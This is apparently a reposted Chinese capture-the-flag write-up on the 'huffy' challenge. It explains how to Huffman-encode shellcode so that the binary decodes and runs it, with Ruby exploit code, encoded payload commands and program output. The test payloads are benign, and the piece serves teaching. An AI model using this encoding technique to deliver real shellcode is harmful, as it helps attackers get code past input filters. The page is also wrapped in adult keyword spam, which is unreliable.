国产精品电影_久久视频免费_欧美日韩国产激情_成年人视频免费在线播放_日本久久亚洲电影_久久都是精品_66av99_九色精品美女在线_蜜臀a∨国产成人精品_冲田杏梨av在线_欧美精品在线一区二区三区_麻豆mv在线看

Huffy:哈夫曼編碼的shellcode

安全 網(wǎng)站安全
初次見到“shellcode”的時(shí)候,感覺非常高大上,其實(shí)接觸久了之后你會(huì)發(fā)現(xiàn)它實(shí)際上只是一段代碼(也可以是填充數(shù)據(jù)),是一種用來發(fā)送到服務(wù)器利用特定漏洞的針對(duì)性代碼,一般可以利用它獲取一定的權(quán)限。

初次見到“shellcode”的時(shí)候,感覺非常高大上,其實(shí)接觸久了之后你會(huì)發(fā)現(xiàn)它實(shí)際上只是一段代碼(也可以是填充數(shù)據(jù)),是一種用來發(fā)送到服務(wù)器利用特定漏洞的針對(duì)性代碼,一般可以利用它獲取一定的權(quán)限。今天我們將共同學(xué)習(xí)一種新的shellcode編碼方式——Huffy,即基于哈夫曼編碼的shellcode,這種方式利用哈夫曼樹壓縮數(shù)據(jù)的特性來對(duì)shellcode進(jìn)行數(shù)據(jù)壓縮,以達(dá)到“短小精悍”的目的。

Huffy:哈夫曼編碼的shellcode

哈夫曼樹

因?yàn)檫@種方法叫做Huffy,并且最近我剛剛解決了一個(gè)有關(guān)哈夫曼樹的問題,所以首先我想到的就是哈夫曼樹。

如果你還不知道什么是哈夫曼樹,那我就在這里簡(jiǎn)單提一下。哈夫曼樹是一種相當(dāng)簡(jiǎn)單的數(shù)據(jù)結(jié)構(gòu),它可以用來進(jìn)行數(shù)據(jù)壓縮。哈夫曼樹的建立是通過讀取輸入的內(nèi)容,然后創(chuàng)建一棵樹,出現(xiàn)頻率***的字符靠近樹的頂部,而頻率***的字符靠近樹的底部。

為了壓縮數(shù)據(jù),它會(huì)遍歷整個(gè)樹以生成編碼位(左邊的編碼為0,右邊的編碼為1)。一個(gè)字符越靠近樹的頂部,那么該字符編碼之后所用的位數(shù)越少,這也被稱為“前綴碼”,這是一種非常簡(jiǎn)潔的屬性,該屬性意味著沒有編碼的位串會(huì)作為另一個(gè)位串的前綴(換句話說,當(dāng)你閱讀二進(jìn)制位流的時(shí)候,你就能立刻知道解碼該字符何時(shí)結(jié)束)。

例如下面的哈夫曼樹:

Huffy:哈夫曼編碼的shellcode

通過該哈夫曼樹,我們就能知道它來自一個(gè)包含9個(gè)字符的文本,其中有5個(gè)字符是字母“o”,3個(gè)字符是字母“d”,1個(gè)字符是字母“g”。

所以,當(dāng)你用該樹壓縮數(shù)據(jù)時(shí),你可以將單詞“dog”作如下處理:

d=00(左左)
o=1(右)
g=01(左右)

所以,“dog”將會(huì)編碼成位流“00101”。

如果你看到以位流“01100”表示的字符串,你就可以按照上面哈夫曼樹來解碼:左右(g)、右(o)、左左(d),所以解碼得到該字符串內(nèi)容為“god”。

如果在一個(gè)字符串中所有字符的數(shù)目都相同,并且不同字符的種類數(shù)是2的整數(shù)冪(例如:“aabbccdd”中,不同字符的種類數(shù)為4,即2的平方),你就需要通過一個(gè)平衡的哈夫曼樹來表示。例如,字符串“aaabbbcccddd”的表示將會(huì)是如下形式的哈夫曼樹:

Huffy:哈夫曼編碼的shellcode

通過查找上圖中的哈夫曼樹可知,字符串“abcd”將會(huì)編碼成“00011011”。哈夫曼樹的這種特性非常重要。#p#

程序分析

當(dāng)你運(yùn)行程序時(shí),它將提示你輸入,在你輸入相應(yīng)內(nèi)容之后,它將輸出一堆毫無意義的東西(盡管輸出使我們理解變得簡(jiǎn)單多了)。可以看下這個(gè)例子:

$ echo 'this is a test string' | ./huffy
CWD: /home/ron/gits2015/huffy
Nibble  Frequency
------  ---------
0       0.113636
1       0.022727
2       0.113636
3       0.090909
4       0.090909
5       0.022727
6       0.181818
7       0.227273
8       0.022727
9       0.068182
a       0.022727
b       0.000000
c       0.000000
d       0.000000
e       0.022727
f       0.000000
Read 22 bytes
Two lowest frequencies: 0.000000 and 0.000000
Two lowest frequencies: 0.000000 and 0.000000
Two lowest frequencies: 0.000000 and 0.000000
Two lowest frequencies: 0.000000 and 0.022727
Two lowest frequencies: 0.022727 and 0.022727
Two lowest frequencies: 0.022727 and 0.022727
Two lowest frequencies: 0.022727 and 0.045455
Two lowest frequencies: 0.045455 and 0.068182
Two lowest frequencies: 0.068182 and 0.090909
Two lowest frequencies: 0.090909 and 0.113636
Two lowest frequencies: 0.113636 and 0.113636
Two lowest frequencies: 0.159091 and 0.181818
Two lowest frequencies: 0.204545 and 0.227273
Two lowest frequencies: 0.227273 and 0.227273
Two lowest frequencies: 0.340909 and 0.431818
Two lowest frequencies: 0.454545 and 0.454545
Two lowest frequencies: 0.772727 and 0.909091
Breaking!
0 --0--> 0x9863348 --1--> 0x9863390 --1--> 0x98633c0 --1--> 0x98633d8
1 --0--> 0x98632b8 --1--> 0x98632e8 --0--> 0x9863318 --0--> 0x9863360 --0--> 0x98633a8 --0--> 0x98633d8
2 --1--> 0x9863348 --1--> 0x9863390 --1--> 0x98633c0 --1--> 0x98633d8
3 --1--> 0x9863318 --0--> 0x9863360 --0--> 0x98633a8 --0--> 0x98633d8
4 --0--> 0x9863330 --0--> 0x9863378 --1--> 0x98633a8 --0--> 0x98633d8
5 --0--> 0x98632d0 --0--> 0x9863300 --1--> 0x9863330 --0--> 0x9863378 --1--> 0x98633a8 --0--> 0x98633d8
6 --1--> 0x9863360 --0--> 0x98633a8 --0--> 0x98633d8
7 --1--> 0x9863378 --1--> 0x98633a8 --0--> 0x98633d8
8 --0--> 0x98632e8 --0--> 0x9863318 --0--> 0x9863360 --0--> 0x98633a8 --0--> 0x98633d8
9 --1--> 0x9863300 --1--> 0x9863330 --0--> 0x9863378 --1--> 0x98633a8 --0--> 0x98633d8
a --1--> 0x98632d0 --0--> 0x9863300 --1--> 0x9863330 --0--> 0x9863378 --1--> 0x98633a8 --0--> 0x98633d8
b --0--> 0x9863258 --0--> 0x9863270 --0--> 0x9863288 --0--> 0x98632a0 --1--> 0x98632b8 --1--> 0x98632e8 --0--> 0x9863318 --0--> 0x9863360 --0--> 0x98633a8 --0--> 0x98633d8
c --1--> 0x9863288 --0--> 0x98632a0 --1--> 0x98632b8 --1--> 0x98632e8 --0--> 0x9863318 --0--> 0x9863360 --0--> 0x98633a8 --0--> 0x98633d8
d --1--> 0x9863270 --0--> 0x9863288 --0--> 0x98632a0 --1--> 0x98632b8 --1--> 0x98632e8 --0--> 0x9863318 --0--> 0x9863360 --0--> 0x98633a8 --0--> 0x98633d8
e --1--> 0x98632a0 --1--> 0x98632b8 --1--> 0x98632e8 --0--> 0x9863318 --0--> 0x9863360 --0--> 0x98633a8 --0--> 0x98633d8
f --1--> 0x9863258 --0--> 0x9863270 --0--> 0x9863288 --0--> 0x98632a0 --1--> 0x98632b8 --1--> 0x98632e8 --0--> 0x9863318 --0--> 0x9863360 --0--> 0x98633a8 --0--> 0x98633d8
Encoding input...
ASCII Encoded: 011010000100000001010110110001111111100010101101100011111111000100001011111110011010000101010001100010110100111111100110001011010001111110010101100100001110010111110010101
Binary Encoded:
h@V????Q?O?-????
Executing encoded input...
Segmentation fault

可能理解起來需要花一點(diǎn)時(shí)間,但是一旦你明白了,你會(huì)發(fā)現(xiàn)輸出的內(nèi)容很直截了當(dāng)。

***部分分析了每個(gè)半字節(jié)(半字節(jié)代表一個(gè)十六進(jìn)制字符或字節(jié)的一半)出現(xiàn)的頻率。這部分結(jié)果告訴我們程序通過半字節(jié)的形式對(duì)數(shù)據(jù)進(jìn)行了壓縮,然后給出了輸入內(nèi)容中字符出現(xiàn)頻率的分析,***顯示了16個(gè)可能半字節(jié)的編碼結(jié)果。

編碼之后,會(huì)將這些位轉(zhuǎn)換成一個(gè)很長(zhǎng)的二進(jìn)制碼流,然后運(yùn)行它們。

流程總結(jié):首先輸入一些數(shù)據(jù),然后以半字節(jié)為單位用哈夫曼編碼進(jìn)行壓縮,***將其轉(zhuǎn)換成可執(zhí)行的代碼,此時(shí)我們就得到了利用哈夫曼算法壓縮過的shellcode。

為了簡(jiǎn)單起見,我還是用一些shell代碼來清理輸出的內(nèi)容,以方便我更好地分析到底發(fā)生了什么:

$ echo 'this is a test string' | ./huffy | sed -re 's/ --/ /' -e 's/--> .{9} --//g' -e 's/--> .*//'

得到如下結(jié)果:

[...]
0 0111
1 010000
2 1111
3 1000
4 0010
5 001010
6 100
7 110
8 00000
9 11010
a 101010
b 0000110000
c 10110000
d 100110000
e 1110000
f 1000110000
Encoding input...
ASCII Encoded: 011010000100000001010110110001111111100010101101100011111111000100001011111110011010000101010001100010110100111111100110001011010001111110010101100100001110010111110010101

如果你嘗試輸入“AAAA”,你將得到如下結(jié)果:

$ echo 'AAAA' | ./huffy | sed -re 's/ --/ /' -e 's/--> .{9} --//g' -e 's/--> .*//'[...]
0 0101
1 0
2 0000000000001101
3 101101
4 11
5 1001101
6 10001101
7 100001101
8 1000001101
9 10000001101
a 11101
b 100000001101
c 1000000001101
d 10000000001101
e 100000000001101
f 1000000000001101
Encoding input...
ASCII Encoded: 110110110110101010111
Binary Encoded:

如果你嘗試輸入“AAAA”,你將得到如下結(jié)果:

你可能知道“AAAA”=“41414141”(ASCII碼表示),所以'4'和'1'就成了最常用的半字節(jié),而由上面圖中也能證實(shí),即'4'被編碼成'11','1'被編碼成'0'。我們希望以一個(gè)換行符'\x0a'結(jié)束,所以'0'和'a'也應(yīng)該進(jìn)行編碼。

如果我們將這些字符分開,可以得到如下內(nèi)容:

ASCII Encoded: 11 0 11 0 11 0 11 0 1010 10111

需要注意的是,圖中編碼后的結(jié)果都被逆序了,雖然'11'和'0'其實(shí)并不受逆序的影響,但是'1010'='0101'='0','10111'='11101'='a'。說實(shí)話,剛開始我并沒有注意到逆序問題的存在,但我以一個(gè)新的方式解決了這個(gè)問題。

還記得前面說的嗎?如果有一個(gè)含有2的冪次方個(gè)節(jié)點(diǎn)的平衡樹,所有的字符都將被編碼成相同的位數(shù)。事實(shí)證明,結(jié)果有16個(gè)不同的半字節(jié),所以如果你輸入的字符串中有偶數(shù)個(gè)半字節(jié),那么它們都將被編碼成4位:

$ echo -ne '\x01\x23\x45\x67\x89\xab\xcd\xef' | ./huffy | sed -re 's/ --/ /' -e 's/--> .{9} --//g' -e 's/--> .*//'0 0000
1 0001
2 0011
3 0010
4 0110
5 0111
6 0101
7 0100
8 1100
9 1101
a 1111
b 1110
c 1010
d 1011
e 1001
f 1000

它們不僅會(huì)被編碼成4位,而且每一種可能的4位值都被列出來了。#p#

方法使用

其實(shí),這種方法使用起來非常簡(jiǎn)單,需要做的僅僅是簡(jiǎn)單的查表:

1、首先算出半字節(jié)對(duì)應(yīng)的編碼后的二進(jìn)制位;

2、將這些半字節(jié)作為shellcode寫出來;

3、填充shellcode,直到每個(gè)半字節(jié)都有相同的數(shù)量。

這已經(jīng)相當(dāng)?shù)闹庇^了,你可以參考我的全部利用代碼,或者利用下面的片段根據(jù)實(shí)際情況進(jìn)行拼接。

首先,創(chuàng)建一個(gè)表(下面是我手工創(chuàng)建的):

@@table = {  "0000" => 0x0, "0001" => 0x1, "0011" => 0x2, "0010" => 0x3,  "0110" => 0x4, "0111" => 0x5, "0101" => 0x6, "0100" => 0x7,  "1100" => 0x8, "1101" => 0x9, "1111" => 0xa, "1110" => 0xb,  "1010" => 0xc, "1011" => 0xd, "1001" => 0xe, "1000" => 0xf,
}

 

然后,將shellcode進(jìn)行編碼:

def encode_nibble(b)
  binary = b.to_s(2).rjust(4, '0')
  puts("Looking up %s... => %x" % [binary, @@table[binary]])  return @@table[binary]end@@hist = [ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, ]#shellcode = "\xeb\xfe"#shellcode = "\xcd\x03"shellcode = "hello world, this is my shellcode!"shellcode.each_byte do |b|
  n1 = b >> 4
  n2 = b & 0x0f
  puts("n1 = %x" % n1)
  puts("n2 = %x" % n2)  @@hist[n1] += 1
  @@hist[n2] += 1
  out += ((encode_nibble(n1) << 4) | (encode_nibble(n2) & 0x0F)).chrend

需要注意一下,我保存了一個(gè)直方圖,利用它可以使***一步的實(shí)現(xiàn)更加簡(jiǎn)單,然后根據(jù)需要填充字符串:

def get_padding()
  result = ""
  max = @@hist.max
  needed_nibbles = []  0.upto(@@hist.length - 1) do |i|
    needed_nibbles << [i] * (max - @@hist[i])
    needed_nibbles.flatten!  end
  if((needed_nibbles.length % 2) != 0)
    puts("We need an odd number of nibbles! Add some NOPs or something :(")    exit
  end
  0.step(needed_nibbles.length - 1, 2) do |i|
    n1 = needed_nibbles[i]
    n2 = needed_nibbles[i+1]
    result += ((encode_nibble(n1) << 4) | (encode_nibble(n2) & 0x0f)).chr  end
  return resultend

現(xiàn)在輸出中應(yīng)該包含一串對(duì)應(yīng)shellcode的半字節(jié),應(yīng)該是這樣的。

***,我們將其輸出:

def output(str)
  print "echo -ne '"
  str.bytes.each do |b|
    print("\\x%02x" % b)  end
  puts("' > in; ./huffy < in")end

#p#

修復(fù)bug

你注意到剛剛我哪里做錯(cuò)了嗎?其實(shí),剛剛我犯了個(gè)大錯(cuò)誤,當(dāng)我試圖編碼“hello world, this is my shellcode!”時(shí),我得到如下結(jié)果:

echo -ne '\x4f\x46\x48\x48\x4a\x30\x55\x4a\x53\x48\x47\x38\x30\x57\x4f\x4e\x52\x30\x4e\x52\x30\x49\x5e\x30\x52\x4f\x46\x48\x48\x42\x4a\x47\x46\x31\x00\x00\x00\x00\x00\x00\x00\x01\x11\x11\x11\x11\x11\x11\x11\x11\x11\x33\x33\x33\x33\x33\x33\x22\x22\x22\x22\x22\x22\x22\x22\x77\x77\x77\x77\x77\x77\x77\x77\x76\x66\x66\x66\x66\x66\x66\x66\x66\x55\x55\x55\x55\x55\x55\xff\xff\xff\xff\xff\xff\xff\xff\xfe\xee\xee\xee\xee\xee\xee\xee\xee\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\x88\x88\x88\x88\x88\x88\x88\x99\x99\x99\x99\x99\x99\x99\x99\x99\x9b\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xba\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa' > in; ./huffy < in

上面結(jié)果轉(zhuǎn)換為可視字符后為:

ajcco@?o?cbC@?ai?@i?@k?@?ajcclobj?????????DDDDDD????????""""""""*??????????????????????UUUUUUUUUU??????????3333333??????????wwwwwwwww????????

發(fā)生了什么事?這不是我之前輸入的字符串啊。

但是,觀察到字符串以“ajcco”開頭,而我之前輸入的字符串是以“hello”開頭。然后,半字節(jié)和字符的對(duì)應(yīng)表就得到啦,如下所示:

0 0000
1 0001
2 0011
3 0010
4 0110
5 0111
6 0101
7 0100
8 1100
9 1101
a 1111
b 1110
c 1010
d 1011
e 1001
f 1000

為了解決這個(gè)問題,我試了下面的shellcode:

"\x01\x23\x45\x67\x89\xab\xcd\xef"

然后將其編碼,得到如下結(jié)果:

0000100001001100001010100110111000011001010111010011101101111111

以十六進(jìn)制表示為:

"\x08\x4c\x3a\x6e\x19\x5d\x3b\x7f"

或者,以半字節(jié)形式表示為:

0000
1000
0100
1100
0010
1010
0110
1110
0001
1001
0101
1101
0011
1011
0111
1111

如果多花點(diǎn)精力觀察的話,我應(yīng)該早就發(fā)現(xiàn)這個(gè)很明顯的問題啦:逆序問題。

因?yàn)橹拔壹庇谕瓿伤覜]有注意到每個(gè)半字節(jié)的各個(gè)位都被逆序了(1000而不是0001,0100而不是0010等等)。

雖然之前我沒有注意這個(gè)問題,但是我發(fā)現(xiàn)所有的結(jié)果都是完全錯(cuò)誤的,所以我做了以下內(nèi)容:

hack_table = {
  0x02 => 0x08, 0x0d => 0x09, 0x00 => 0x00, 0x08 => 0x02,
  0x0f => 0x01, 0x07 => 0x03, 0x03 => 0x07, 0x0c => 0x06,
  0x04 => 0x04, 0x0b => 0x05, 0x01 => 0x0f, 0x0e => 0x0e,
  0x06 => 0x0c, 0x09 => 0x0d, 0x05 => 0x0b, 0x0a => 0x0a
}
hack_out = ""
out.bytes.each do |b|
  n1 = hack_table[b >> 4]
  n2 = hack_table[b & 0x0f]
  hack_out += ((n1 << 4) | (n2 & 0x000f)).chrendoutput(hack_out)

然后用原來的測(cè)試shellcode重新運(yùn)行了該程序:

$ ruby ./sploit.rb
echo -ne '\x41\x4c\x42\x42\x4a\x70\xbb\x4a\xb7\x42\x43\x72\x70\xb3\x41\x4e\xb8\x70\x4e\xb8\x70\x4d\xbe\x70\xb8\x41\x4c\x42\x42\x48\x4a\x43\x4c\x7f\x00\x00\x00\x00\x00\x00\x00\x0f\xff\xff\xff\xff\xff\xff\xff\xff\xff\x77\x77\x77\x77\x77\x77\x88\x88\x88\x88\x88\x88\x88\x88\x33\x33\x33\x33\x33\x33\x33\x33\x3c\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xbb\xbb\xbb\xbb\xbb\xbb\x11\x11\x11\x11\x11\x11\x11\x11\x1e\xee\xee\xee\xee\xee\xee\xee\xee\x66\x66\x66\x66\x66\x66\x66\x66\x66\x66\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x22\x22\x22\x22\x22\x22\x22\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xd5\x55\x55\x55\x55\x55\x55\x55\x55\x55\x5a\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa' > in; ./huffy < in

運(yùn)行上面我所得到的編碼之后的代碼,結(jié)果為:

$ echo -ne '\x41\x4c\x42\x42\x4a\x70\xbb\x4a\xb7\x42\x43\x72\x70\xb3\x41\x4e\xb8\x70\x4e\xb8\x70\x4d\xbe\x70\xb8\x41\x4c\x42\x42\x48\x4a\x43\x4c\x7f\x00\x00\x00\x00\x00\x00\x00\x0f\xff\xff\xff\xff\xff\xff\xff\xff\xff\x77\x77\x77\x77\x77\x77\x88\x88\x88\x88\x88\x88\x88\x88\x33\x33\x33\x33\x33\x33\x33\x33\x3c\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xbb\xbb\xbb\xbb\xbb\xbb\x11\x11\x11\x11\x11\x11\x11\x11\x1e\xee\xee\xee\xee\xee\xee\xee\xee\x66\x66\x66\x66\x66\x66\x66\x66\x66\x66\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x22\x22\x22\x22\x22\x22\x22\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xd5\x55\x55\x55\x55\x55\x55\x55\x55\x55\x5a\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa' > in; ./huffy < in

二進(jìn)制編碼結(jié)果為:

hello world, this is my shellcode!""""""33333333DDDDDDDDEUUUUUUUUwwwwww????????????????????????????????????????????????????????????????????????
Executing encoded input...
Segmentation fault

現(xiàn)在看起來正常了,通過修改那個(gè)錯(cuò)誤已經(jīng)可以正確地解碼了。下面再試一下我比較喜歡的兩個(gè)測(cè)試字符串“\xcd\x03”(調(diào)試斷點(diǎn),也可使用“\ xcc”)和“\ xeb \ xfe”(無限循環(huán)):

$ ruby ./sploit.rb
echo -ne '\x2d\x08\xf7\x3c\x4b\x1e\x69\x5a' > in; ./huffy < in
$ echo -ne '\x2d\x08\xf7\x3c\x4b\x1e\x69\x5a' > in; ./huffy < in
Binary Encoded:
?Eg???
Executing encoded input...
Trace/breakpoint trap
$ ruby ./sploit.rb
echo -ne '\x59\xa5\x00\xff\x77\x88\x33\xcc\x44\xbb\x11\xee\x66\x92\x2d\xda' > in; ./huffy < in
$ echo -ne '\x59\xa5\x00\xff\x77\x88\x33\xcc\x44\xbb\x11\xee\x66\x92\x2d\xda' > in; ./huffy < in
Binary Encoded:
??"3DUfw??????
Executing encoded input...
[...infinite loop...]

總結(jié)

總的來說,利用哈夫曼編碼處理shellcode是一種相當(dāng)直觀的方法,通過以半字節(jié)為單位壓縮你輸入的數(shù)據(jù),然后就能得到編碼之后的shellcode,經(jīng)過驗(yàn)證,經(jīng)過這種方法壓縮之后的shellcode能夠正常運(yùn)行。

***,在使用該方法的時(shí)候,可以將目標(biāo)shellcode填充得到1024個(gè)半字節(jié),接著進(jìn)行哈夫曼編碼并進(jìn)行利用。

責(zé)任編輯:藍(lán)雨淚 來源: FreeBuf
相關(guān)推薦

2021-06-16 17:36:39

節(jié)點(diǎn)編碼哈夫曼樹

2011-05-20 14:03:31

哈夫曼

2011-04-28 10:07:24

哈弗曼編碼

2023-06-27 10:41:01

數(shù)學(xué)論文

2021-03-24 10:41:04

Java數(shù)據(jù)結(jié)構(gòu)算法

2011-12-15 10:38:06

OPEN聯(lián)盟以太網(wǎng)

2012-11-27 17:41:16

2016-01-08 19:10:00

京東智能

2016-01-14 11:50:16

Shellcode分析PyAnaShellcode分析

2022-05-09 11:46:49

亞馬遜云科技汽車哈曼

2015-06-30 13:06:00

ShellterShellcode注入

2015-11-24 15:22:53

HTTP2 WEB 內(nèi)網(wǎng)穿透

2020-09-28 10:47:41

Shellcode技術(shù)

2011-07-13 16:56:10

2017-01-16 09:26:07

2020-10-16 10:30:28

黑客

2021-11-29 05:32:47

內(nèi)存規(guī)避安全工具惡意軟件

2022-05-06 18:55:29

Java技巧Shellcode

2013-12-10 10:53:47

shellcode

2015-10-23 17:12:22

JBL
點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號(hào)

国产日产一区二区| 久草亚洲一区| 国产精品一国产精品| 亚洲自拍偷拍图区| 成人一级生活片| 午夜精品久久久久久久四虎美女版| 亚洲欧美日韩中文在线| 日本电影一区二区在线观看| 国产日产欧美精品一区二区三区| 日韩福利一区二区三区| 欧美激情另类| 96精品视频在线| 成人免费一区| 日韩免费视频一区二区| 亚洲啪啪aⅴ一区二区三区9色| 久久久久久久久久久99999| 亚洲国产精品123| 狠狠噜噜久久| 国产精品成人久久久久| 成人日韩视频| 亚洲娇小xxxx欧美娇小| 国产资源在线播放| 亚洲无线码一区二区三区| 国产99久久九九精品无码| 久久国产欧美日韩精品| 国产亚洲自拍偷拍| 91精品国产乱码久久久久久| 91精品国产91久久久久久不卡| 欧美123区| 亚洲精品资源在线| 丁香花电影在线观看完整版| 91精品一区二区三区在线观看| 午夜在线观看91| 亚洲成va人在线观看| 精精国产xxxx视频在线动漫| 国产片一区二区| 国产精品无码专区av在线播放 | sm在线播放| 91精品国产高清一区二区三区| 都市激情一区| 在线观看精品一区| 国产二区视频在线观看| 欧美亚洲图片小说| 黄色毛片在线看| 欧美日韩黄色一区二区| 国模吧精品人体gogo| 色欧美日韩亚洲| 国产无套粉嫩白浆在线2022年| 欧美性猛交xxxxxxxx| 欧美另类极品| 亚洲国产精品国自产拍av秋霞| 国产v日韩v欧美v| 中文字幕亚洲综合| 伊人久久影院| 日本久久91av| 国产精品久久久久久| 国产69精品久久久久9999apgf| 亚洲精品影视| 在线电影看在线一区二区三区| 国产91丝袜在线播放九色| 日韩久久一级片| 亚洲女爱视频在线| 日本福利在线观看| 精品国产伦一区二区三区免费| 伊人网在线播放| 裸体女人亚洲精品一区| 久久99国产成人小视频| 91在线播放视频| 久久综合影视| 国产乱子伦精品无码专区| 日本一二三四高清不卡| 992tv成人国产福利在线| 欧美日精品一区视频| 特黄毛片在线观看| 国内精品伊人久久| 国产精品激情电影| 91九色国产ts另类人妖| 日本一区二区久久| 精品亚洲成a人片在线观看| 91精品国产乱| 经典三级久久| 亚洲xxxx在线| 国产伦精品一区二区三区免费迷| 免费在线观看的毛片| 欧美小视频在线| 亚洲v.com| 国产免费一区视频观看免费| 老司机午夜精品99久久| 美女视频免费观看网站在线| 91精品欧美一区二区三区综合在| 欧美jizz18| av资源站久久亚洲| 不卡免费追剧大全电视剧网站| 在线观看免费网站| 一区二区三区无码高清视频| 日韩午夜电影网| www.国产在线视频| 色屁屁一区二区| 亚洲国产aⅴ精品一区二区| 国产精品一区二| 久久女同性恋中文字幕| 成年视频在线观看| 日本在线观看天堂男亚洲 | 天天做天天爱天天综合网2021| 茄子视频成人在线观看| 久久久精品tv| 黄色网页在线观看| 91成人性视频| 奇米影视一区二区三区小说| 日本激情免费| 一区二区福利视频| 午夜激情一区| 男女av免费观看| 欧美mv日韩mv亚洲| 成人6969www免费视频| 国产一二三四区在线观看| 欧美日韩亚洲视频一区| 国产一精品一av一免费爽爽| 五月天亚洲综合| 欧美日韩在线视频观看| 盗摄牛牛av影视一区二区| 中文字幕一区二区三区最新 | 亚洲激情自拍图| 影视亚洲一区二区三区| 欧美私人情侣网站| 亚洲第一视频网站| 欧美福利影院| 麻豆av在线| 欧美国产视频一区二区| 国产一区二区三区免费在线观看| 国产系列在线观看| 国产91免费观看| 国产夜色精品一区二区av| 欧美调教sm| 久久久久久国产精品mv| 丰满岳妇乱一区二区三区| 欧美亚洲大陆| 欧美精品成人网| 最近2019年日本中文免费字幕| 亚洲欧美成人| 黄色电影免费在线看| 国产成人精品免高潮在线观看| 99久久亚洲一区二区三区青草| 欧美xxxhd| 亚洲国产高清国产精品| 在线播放中文一区| 亚洲青涩在线| 日本中文字幕在线播放| 国产精品免费一区二区三区四区 | 日本福利视频在线观看| 欧美va日韩va| 日本aⅴ精品一区二区三区| 日本黄色片在线观看| 狠狠色伊人亚洲综合网站色| 在线免费亚洲电影| 国自产拍偷拍福利精品免费一 | 中文字幕一区二区三区乱码图片 | 日韩黄色网络| 成人毛片高清视频观看| 欧美乱大交xxxxx另类电影| 久久新电视剧免费观看| 国产成人免费视频网站视频社区| www.日本在线播放| 91麻豆精品国产综合久久久| 久久99精品久久久久久水蜜桃 | 亚洲国产精品久久久久爰色欲| 亚洲激情在线观看视频免费| 日韩在线一二三区| 啦啦啦中文在线观看日本| 丝袜美腿玉足3d专区一区| 亚洲国产成人av在线| 国产精品中文字幕一区二区三区| 亚洲人体视频| 97在线播放视频| 51精品国产黑色丝袜高跟鞋| 一区二区三区四区乱视频| 99久久精品国产亚洲精品 | 2025国产精品视频| 夜夜嗨av一区二区三区| 影音先锋成人在线电影| 激情视频在线观看| 成年人深夜视频| 久久久伊人日本| 亚洲国产精品一区二区www| 欧美三级不卡| 欧美人体视频xxxxx| 国产精品国产对白熟妇| 97久久精品人搡人人玩| 亚洲成人动漫av| 免费在线观看精品| 日本在线视频一区二区三区| 精东传媒在线观看| 欧美日韩视频在线一区二区观看视频| 精品国产91洋老外米糕| 久久久久亚洲综合| 99国产**精品****| 亚洲天堂av影院| 好紧好硬好湿我太爽了| 日本日本精品二区免费| 欧美极品欧美精品欧美视频|